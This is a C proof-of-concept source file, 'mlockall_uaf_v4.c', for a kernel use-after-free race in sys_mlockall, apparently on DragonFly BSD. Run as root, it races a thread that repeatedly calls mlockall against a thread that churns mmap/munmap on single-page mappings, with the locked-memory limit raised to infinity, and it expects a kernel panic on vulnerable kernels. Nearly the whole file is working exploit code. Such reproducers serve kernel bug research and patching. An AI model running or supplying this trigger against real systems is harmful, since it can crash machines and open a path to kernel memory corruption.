DF-0949 / mlockall_uaf_v4.c
/* * DF-0949 — sys_mlockall use-after-free PoC (v4 - heavy churn). * * Strategy: tiny entries (1 page each) + high munmap/mmap churn rate, * raising ulimit -l to max so mlockall(MCL_CURRENT) actually iterates * all entries. The race fires when munmap deletes an entry that * mlockall is currently inside vm_fault_wire() for. * * Run as root. mlockall is SYSCAP_RESTRICTEDROOT. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/resource.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define NENTRIES 256 #define RUN_SEC 60 static size_t pg; static void *addrs[NENTRIES]; static volatile int stop = 0; static void *churn_thread(void *arg) { (void)arg; size_t sz = pg; while (!stop) { /* unmap then remap half the entries (small entries -> fast churn) */ for (int i = 0; i < NENTRIES; i += 2) { if (addrs[i]) munmap(addrs[i], sz); addrs[i] = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); } } return NULL; } static void *mlockall_thread(void *arg) { (void)arg; long ok = 0, err = 0, eagain = 0; while (!stop) { int r = mlockall(MCL_CURRENT); if (r == 0) ok++; else if (errno == EAGAIN) eagain++; else err++; } printf("[*] mlockall stats: ok=%ld eagain=%ld err=%ld (errno sample=%d)\n", ok, eagain, err, errno); return NULL; } int main(void) { if (getuid() != 0) { fprintf(stderr, "[!] DF-0949 requires root (mlockall is SYSCAP_RESTRICTEDROOT)\n"); return 2; } pg = sysconf(_SC_PAGESIZE); /* Bump locked-memory limit */ struct rlimit rl = { RLIM_INFINITY, RLIM_INFINITY }; setrlimit(RLIMIT_MEMLOCK, &rl); printf("[*] DF-0949 mlockall UAF race (v4 - heavy churn)\n"); printf("[*] %d single-page entries, run %ds\n", NENTRIES, RUN_SEC); printf("[*] RLIMIT_MEMLOCK: soft=%lld hard=%lld\n", (long long)rl.rlim_cur, (long long)rl.rlim_max); /* Pre-populate */ for (int i = 0; i < NENTRIES; i++) { addrs[i] = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (addrs[i] == MAP_FAILED) { perror("mmap init"); return 2; } } pthread_t t_mlock, t_churn; pthread_create(&t_mlock, NULL, mlockall_thread, NULL); pthread_create(&t_churn, NULL, churn_thread, NULL); printf("[*] racing for %d seconds (panic expected on vulnerable kernel)...\n", RUN_SEC); sleep(RUN_SEC); stop = 1; pthread_join(t_mlock, NULL); pthread_join(t_churn, NULL); printf("[+] no panic observed in this run\n"); return 0; } |